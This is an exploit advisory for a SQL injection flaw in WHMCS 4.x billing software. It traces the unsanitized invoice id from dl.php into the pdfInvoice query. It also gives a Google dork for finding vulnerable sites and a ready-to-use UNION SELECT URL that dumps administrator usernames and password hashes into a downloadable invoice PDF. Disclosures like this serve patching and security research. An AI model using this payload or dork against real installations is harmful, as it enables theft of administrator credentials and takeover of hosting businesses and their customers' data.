WHMCS 4.x – ‘invoicefunctions.php?id’ SQL Injection
# Title: WHMCS 4.x SQL Injection Vulnerability # Google Dork: intext:"Powered by WHMCompleteSolution" OR inurl:"submitticket.php" # Author: Ahmed Aboul-Ela # Contact: Ahmed.Aboul3la[at]gmail[dot]com # Date: 14/5/2013 # Vendor: http://www.whmcs.com # Version: 4.5.2 and perior versions should be affected too # Tested on: Linux ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Sql Injection Vulnerability in "/includes/invoicefunctions.php" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - Vulnerable Code Snippet : LINE 582: function pdfInvoice($id) LINE 583: { LINE 686: if ($CONFIG['GroupSimilarLineItems']) LINE 687: { LINE 688: $result = full_query('' . 'SELECT COUNT(*),id,type,relid,description,amount,taxed FROM tblinvoiceitems WHERE invoiceid=' . $id . ' GROUP BY `description`,`amount` ORDER BY id ASC'); LINE 689: } As we can see here the $id argument of pdfInvoice function have been used directly at mysql query without any sanitization which leads directly to Sql Injection It appears that pdfInvoice function is being called at "/dl.php" file as the following: LINE 21: if ($type == 'i') LINE 22: { LINE 23: $result = select_query('tblinvoices', '', array( LINE 24: 'id' => $id LINE 25: )); LINE 26: $data = mysql_fetch_array($result); LINE 27: $invoiceid = $data['id']; LINE 28: $invoicenum = $data['invoicenum']; LINE 29: $userid = $data['userid']; LINE 30: if ((!$_SESSION['adminid'] && $_SESSION['uid'] != $userid)) LINE 31: { LINE 32: downloadLogin(); LINE 33: } LINE 34: if (!$invoicenum) LINE 35: { LINE 36: $invoicenum = $invoiceid; LINE 37: } LINE 38: require('includes/clientfunctions.php'); LINE 39: require('includes/countries.php'); LINE 40: require('includes/invoicefunctions.php'); LINE 41: require('includes/tcpdf.php'); LINE 42: $pdfdata = pdfInvoice($id); LINE 43: header('Pragma: public'); LINE 44: header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); LINE 45: header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT'); LINE 46: header('Cache-Control: must-revalidate, post-check=0, pre-check=0, private'); LINE 47: header('Cache-Control: private', false); LINE 48: header('Content-Type: application/octet-stream'); LINE 49: header('Content-Disposition: attachment; filename="' . $invoicenum . '.pdf"'); LINE 50: header('Content-Transfer-Encoding: binary'); LINE 51: echo $pdfdata; LINE 52: exit(); LINE 53: return 1; LINE 54: } As we can see at LINE "42" the pdfInvoice function have been called and passed $id Variable without any sanitization Afterwards it force the browser to download the generated invoice in PDF format - Proof of Concept for Exploitation To Dump Administrator Credentials (user & pass): http://www.site.com/whmcs/dl.php?type=i&id=1 and 0x0=0x1 union select 1,2,3,4,CONCAT(username,0x3a3a3a,password),6,7 from tbladmins -- ~ Result: The Browser will prompt download for the pdf invoice file after opening it you should find the username and pw hash there :) - Precondition to Successfully Exploit the Vulnerability: "Group Similar Line Items" Option should be Enabled at the Invoices Settings in the WHMCS Admin ( It should be Enabled by default ) - Credits: Ahmed Aboul-Ela - Information Security Consultant @ Starware Group |